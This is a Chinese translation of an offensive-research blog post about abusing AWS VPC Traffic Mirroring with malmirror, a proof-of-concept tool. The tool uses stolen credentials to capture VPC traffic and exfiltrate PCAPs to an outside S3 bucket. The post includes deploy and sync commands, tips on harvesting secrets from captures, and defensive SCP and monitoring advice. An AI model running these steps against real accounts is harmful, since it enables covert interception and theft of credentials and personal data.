
雲環境下的網絡檢測問題
人們可能希望監視雲環境中的網絡流量有很多原因——出于攻擊和防禦的目的。被動的網絡檢查在雲環境中可能很困難,而且在這之前需要對網絡配置進行重大修改,以確定每台主機都被監控,并且不會被惡意使用者繞過。這意味着作為一個攻擊者,監視整個網絡會産生數量難以置信的噪聲,而且破壞任何東西也變得非常危險。
對于在雲端進行通用網絡檢查遇到的困難,滲透測試人員采用了其他更簡單的方法,比如審查 Elastic Load Balancer 通路日志。這些日志可以為 你提供一些資訊,但與全面的網絡流量檢查相比,這些日志裡面的資訊非常有限。
然而,AWS 最近在今年六月的 re: Inforce 上釋出了一個被動網絡檢測的新功能,稱為“ VPC 流量鏡像”。使用這個新特性,我們建立了一個名為“ malmirror”的腳本,用于部署必要的基礎設施來鏡像和提取 VPC 流量。
VPC 流量鏡像: 一種潛在的 AWS 網絡監測解決方案
VPC 流量鏡像是在 VPC 中複制 EC2執行個體的入站和出站流量,而不需要在執行個體中安裝任何東西。這些重複的流量通常會被發送到類似于網絡入侵預防系統伺服器(IDS)之類的地方進行分析和監控。
随着 VPC 流量鏡像的釋出,AWS 中的 VPC 網絡檢測變得更加容易,無論是進攻還是防守。現在隻需要一些 AWS API 調用(以及使用這些 API 的必要權限) ,就可以在 AWS VPC 中監視網絡流量。
惡意 VPC 流量鏡像的影響及其可能性
惡意的 VPC 流量鏡像可能産生極大的影響,因為在 VPC 内移動的網絡流量通常包含對攻擊者有用的敏感資訊。實作惡意的 VPC 流量鏡像的可能性也非常高,因為通過 VPC 往往有大量的明文流量。使用明文流量的一個常見原因是,在流量鏡像之前,流量不太可能被探測到,是以風險不大。
這方面的一個例子是今年1月釋出的一個特性,即用于網絡負載均衡的 TLS 終止。通常的做法是,環境在其負載均衡器處終止 TLS,然後以明文形式将請求傳遞給後端伺服器。這意味着在 VPC 中将會有大量的明文流量被我們惡意的 VPC 鏡像抓取。關于負載均衡器的 TLS 終止的更多資訊可以在這裡找到,關于最佳實踐的一些讨論可以在這裡找到。
由于 TLS 對性能的巨大影響,是以許多公司還将在其内部網絡中使用明文協定。以前做這些事情感覺很安全,尤其是知道傳統的中間人攻擊 或 ARP 欺騙變的不可能發生。
由于這些原因,我們可以合理地假設,作為攻擊者,在流量鏡像攻擊期間,我們至少會獲得一些明文流量。
使用 AWS 憑證部署惡意鏡像
作為一家主要關注攻擊性研究的公司,我們希望将這一過程自動化,以使其能夠快速、簡單和可重複的執行。是以,出于這個原因,我們編寫了一個概念驗證腳本,它将接受 AWS 憑證作為輸入參數,并部署必要的基礎設施,以便在目标 VPC-malmirror 中開始對所有支援的 EC2執行個體進行鏡像。值得注意的是,VPC 流量鏡像隻支援由 AWS Nitro 系統驅動的 EC2執行個體類型,VPC 鏡像目标必須與被鏡像的任何主機在同一個 VPC 中。
在接下來的幾節中,我們将介紹 malmirror 的工作原理、它的功能以及如何分析提取資料。這個腳本可以在我們的 GitHub 上找到。
malmirror 是如何工作的
malmirror 将以下資源部署到一個賬戶中:
·将流量鏡像到的 EC2執行個體
·該 EC2執行個體的 EC2安全組
·一個 VPC 鏡像目标,指向已建立的 EC2執行個體
·配置為鏡像所有流量的 VPC 鏡像過濾器
·在這個帳戶中的每個支援的 EC2執行個體的 VPC 鏡像會話
一個簡單的圖表示範了在将鏡像基礎結構部署到一個小型 VPC 中之後,該小型 VPC 中的流量流可能是什麼樣的(請注意,為了簡單起見,該圖中遺漏了許多資源)。
在一切都部署完畢後,流量将開始鏡像到建立好的 EC2執行個體。Ec2執行個體将開始偵聽并以 PCAP 格式記錄接收到的所有鏡像網絡流量。在執行個體上本地存儲了大約100mb 的資料之後,它将自動将該資料轉移到 你選擇的 S3 存儲桶中(可能在 你自己的 AWS 帳戶中) ,并從系統中删除本地檔案。這樣可以防止執行個體耗盡磁盤空間,并允許我們以自動的方式提取鏡像流量。請注意,100mb 的限制是任意設定的,對于一些流量較大的網絡來說可能太小了。之是以要以這種方式提取流量,是因為似乎沒有一個簡單的方法來鏡像交叉帳戶的流量,這似乎是一個可靠的方式來確定資料轉移到外部環境。
由于流量正在被轉移到 S3 存儲桶中, 你可以在本地下載下傳以便進行分析。一個簡單的方法是使用 AWS CLI 提供的 S3“同步”指令,這樣 你隻需下載下傳上次與 存儲桶同步時丢失的資料。
使用 malmirror 的先決條件
要使用 malmirror,你需要:
一個用于将鏡像流量轉移到的 S3 存儲桶 (這個存儲桶可能在你自己的 AWS 賬戶中)
存儲在 AWS CLI 配置檔案中的AWS 憑證(可能屬于 你自己 AWS 帳戶中的使用者)。這個使用者應該有通路将 PCAP 檔案提取到的 S3 存儲桶的 write/s3:PutObject 權限
存儲在 AWS CLI 配置檔案中的帶有以下 IAM 權限 的AWS 憑證(這個憑證是你将鏡像部署到的目标帳戶) :
·ec2:DescribeInstances
·識别要鏡像的 EC2執行個體
·ec2:RunInstances
·建立一個将作為 VPC 鏡像目标的 EC2執行個體
·ec2:CreateSecurityGroup
·為我們的 EC2執行個體建立安全組
·ec2:AuthorizeSecurityGroupIngress
·允許入站通路我們的 EC2執行個體
·ec2:CreateTrafficMirrorTarget
·将 EC2執行個體指定為 VPC 鏡像目标
·ec2:CreateTrafficMirrorSession
·要為我們想要鏡像的每個 EC2執行個體建立鏡像會話
·ec2:CreateTrafficMirrorFilter
·為鏡像會話建立流量過濾器
·ec2:CreateTrafficMirrorFilterRule
·要指定将所有流量鏡像到我們的 EC2執行個體
使用 malmirror
malmirror 包括兩個腳本, deploy-malmirror.py 和 sniff.py。部署腳本在啟動鏡像資源時使用嗅探腳本,是以 你永遠不需要手動運作 sniff.py。
要開始使用 malmirror 鏡像流量,請遵循以下步驟:
1. git 克隆并跳到它所在的目錄
git clone https://github.com/RhinoSecurityLabs/Cloud-Security-Research && cd Cloud-Security-Research/AWS/malmirror/
2. (可選的步驟) malmirror 是一個早期的概念驗證,是以 你可能需要進行一些修改,使其更适合 你的場景,例如:
修改 VPC 鏡像目标的 EC2執行個體類型
修改檔案大小限制,在這個限制下,檔案将被提取到 S3 存儲桶并在本地删除
将 VPC 鏡像目标更改為使用網絡負載均衡器
限制或修改鏡像目标的安全組規則
将EC2執行個體類型添加到基于 Nitro 的寫死清單中
進一步細化 VPC 鏡像過濾規則
3. 運作 malmirror,坐下來喝一杯咖啡,稍等片刻
python3 deploy-malmirror.py --profile CompromisedCreds --s3-profile S3Creds --region us-west-2 --bucket bucket-for-exfil
上圖顯示了我們的惡意 VPC 鏡像基礎設施被部署到目标帳戶。注意,這裡使用了腳本參數的簡寫。
4. 當檔案開始到達 S3存儲桶時,要下載下傳這些檔案(到它們自己的檔案夾中) ,但請記住,存儲桶将被不斷填滿,直到你從目标環境中拆除鏡像基礎架構為止
aws s3 --profile profile-that-owns-the-bucket sync s3://bucket-for-exfil ./
現在 你已經在本地擁有了一些 PCAP 檔案, 你可以分析和使用它們。
離線流量分析
将 PCAP 檔案同步到本地系統後, 你就可以開始分析這些檔案了。你會發現有些流量是加密的,有些流量是不加密的。 你可能無法對加密資料做任何事情,但是明文流量有可能導緻許多沒有用的發現。要查找的常見内容包括 API 密鑰、身份驗證令牌 、cookie、使用者名/密碼、 PII/PHI、檔案和 IP 位址/主機名。有數不清的其他事情你可能想要尋找,但這些東西可以給你一個很好的起點。
這裡有一些工具可以幫助我們:
· Wireshark/tshark
·dsniff
·ngrep
無論你選擇哪種分析器,都可以自動同步來自 S3 的 PCAP 檔案,并在檔案下載下傳時自動分析過程。這可以通過一個事先設定好的正規表達式或字元串比對清單來完成,這樣可以找到機密資訊,并且對于每個下載下傳的新檔案,找出任何與這些比對的内容。因為看起來人們傾向于用他們自己的方式進行分析,是以自動分析并沒有内置到這個工具中。
限制和警告
我們已經在整個部落格中提到了其中的一些觀點,但是在執行這種攻擊時依然需要考慮一些事情。由于這是一個概念驗證腳本,并且此時它還沒有經過嚴格的測試過程,是以檢視這些限制和警告特别是非常重要的。
隻有基于 Nitro 的 EC2執行個體類型才可以對其流量進行鏡像(可以查找這個清單)
VPC 中任何具有正确路由的内容都可以向鏡像目标 EC2執行個體發送任意流量,因為它允許來自所有内部網絡範圍(10.0.0.0 / 8,172.16.0.0 / 12,192.168.0.0 / 16)的 UDP 端口上的入站流量
因為所有(也隻有)内部 IP 範圍都是白名單的鏡像目标,是以我們将無法鏡像使用 VPC 内部網絡的非标準 IP 範圍的網絡中的流量
如果帳戶中已經部署了鏡像基礎設施,則 malmirror 可能會失敗。這可以通過添加一些錯誤處理和重試功能來避免
如何防禦這種攻擊
防止這種攻擊的第一步是意識到并嘗試防止 你的 AWS 環境遭到破壞。我們之前釋出了一篇博文,介紹了 AWS 密鑰被攻破的一些常見方式,你可以在這裡找到。
如果 你不在 你的帳戶中使用 VPC 流量鏡像特性,那麼 你可能會使用服務控制政策(Service Control Policy,SCP)在組織層面拒絕通路必要的權限,如下所示:
{"Version":"2012-10-17","Statement":[{"Sid":"DenyVPCTrafficMirroring","Effect":"Deny","Action":["ec2:CreateTrafficMirrorTarget","ec2:CreateTrafficMirrorSession","ec2:CreateTrafficMirrorFilter","ec2:CreateTrafficMirrorFilterRule","ec2:DeleteTrafficMirrorTarget","ec2:DeleteTrafficMirrorSession","ec2:DeleteTrafficMirrorFilter","ec2:DeleteTrafficMirrorFilterRule","ec2:ModifyTrafficMirrorSession","ec2:ModifyTrafficMirrorFilterNetworkServices","ec2:ModifyTrafficMirrorFilterRule"],"Resource":"*"}]}
這個 SCP 将阻止任何應用它的帳戶使用這些 API,即使試圖這樣做的使用者和角色在該帳戶中擁有正确的 IAM 權限。如果 你确實在 你的環境中使用了 VPC 流量鏡像,那麼 你應該使用諸如 Amazon EventBridge 之類的東西來嚴格監視這些 API 的調用,以確定新的鏡像資源不會被建立,現有的鏡像資源不會被修改或删除。無論是否使用鏡像, 你還可以監視帳戶中可疑的 EC2執行個體的建立。肯定還有其他方法可以檢測并防止這種類型的攻擊,但許多方法是特定于上下文的,并且可能根據環境的設定而有所不同。作為一般的經驗法則,最好的做法是盡量減少在 VPC 中傳輸明文流量。
總結
VPC 流量鏡像使攻擊者和防禦者在他們的 AWS VPC 中更容易監視網絡流量,但是過去的常見做法已經導緻在這些網絡中傳輸着大量的明文流量。這個新功能還有很多可能性需要在 AWS 中探索,是以看看它會帶來什麼是令人興奮的。
如果你還沒有看過,你可以在我們的 GitHub 上找到 malmirror。
如果 你擔心 AWS 基礎設施的安全性,可以考慮執行 AWS 滲透測試,以确定 你的環境中的弱點和漏洞。
注:本文參考自rhinosecuritylabs.com